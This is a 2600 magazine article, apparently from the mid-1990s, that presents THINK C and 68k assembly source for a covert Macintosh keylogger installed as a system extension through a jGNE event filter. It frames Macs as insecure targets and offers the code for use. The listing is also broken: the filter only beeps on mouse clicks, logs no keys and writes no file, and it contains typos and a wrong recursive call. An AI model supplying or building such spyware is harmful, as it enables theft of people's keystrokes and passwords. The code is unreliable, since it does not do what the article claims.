Macintosh Key Capturing

by Swarthy

In the Winter 1994-95 issue's article entitled "More Key Capturing," the author provided some interesting multi-platform insight, but didn't mention a quick key capturing scheme for the Macintosh... after all, they are the most flawed in terms of security.

Included here is the necessary explanation and code needed to pull off a key capturer for the Macintosh.

In a Macintosh, everything is based on events, but the Mac doesn't give us a nice powerful set of routines to deal with the key down/up events in the way that we plan to deal with them.  So, in order to get the keys first (without missing any) we must write a jGNE filter.

This, unfortunately, can only be done in 68k assembly language.  The assembly included is the guts of the filter, the rest is just writing the 'char' into a file.

This is written to be compiled with THINK C/C++, and should be built as a system extension.

This is not my code, by the way.

mac-key-cap.c:

/* This is a key capturing program using a jGNE filter, for the Macintosh */
/* This is written to be compiled with THINK C or C++ and should be built */
/* as a system extension                                                  */

#include <Resources.h>
#include <Memory.h>
#include <Events.h>
#include <SetUpA4.h>
#include <SysEqu.h>

static void *gOldJGNE;

static pascal void * SetJGNEFilter (void *newFilter) {
  void *result = *(void **) JGNEFilter;
  *(long *) JGNEFilter = (long) newFilter;
  return (result);
}

static Boolean myGNE (EventRecord *event, Boolean preResult) {
  Boolean postResult = preResult;

  if (event->what == mouseDown)
    SysBeep (10);

  return (postresult);
}

static void myJGNE (void) {
  static Boolean inJGNE;

  asm {
    MOVE.L  A1,A0           /* save event record pointer from GetA4 */
    JSR     GetA4           /* point A1 at our A4 */
    MOVE.L  A4,-(A7)        /* save old A4 */
    MOVE.L  (A1),A4         /* get new A4 */
    MOVE.L  A0,AT           /* restore old A1 */
    TST.B   inJGNE          /* is myJGNE busy? */
    BNE     @1              /* yes, so bail */
    MOVE.B  #true,inJGNE    /* mark myJGNE busy */
    MOVE.W  D0,-(A7)        /* push pre-result */
    MOVE.L  A1,-(A7)        /* push even record pointer */
    JSR     myJGNE          /* do the real work */
    MOVE.L  (A7)+,A1        /* restore event record pointer */
    ADDQ.L  #2,A7           /* pop pre-result; post result in D0 */
    ASL.W   #8,D0           /* bump C boolean to Lisa */
    MOVE.W  D0,8(A7)        /* stash result where caller expects it */
    MOVE.B  #false,inJGNE   /* mark myJGNE not busy @1 */
    MOVE.L  (A7)+,A4        /* restore A4 */
    MOVE.L  A0,-(A7)        /* return to previous JGNE */
  }
}

pascal void main (void) {
  void *me;

  asm {
    MOVE.L  A0,me
  }

  RememberA0();
  SetUpA4();

  DetachResource (RecoverHandle (me));
  gOldJGNE = SetJGNEFilter (myJGNE);

  RestoreA4();
}

Code: mac-key-cap.c

Return to $2600 Index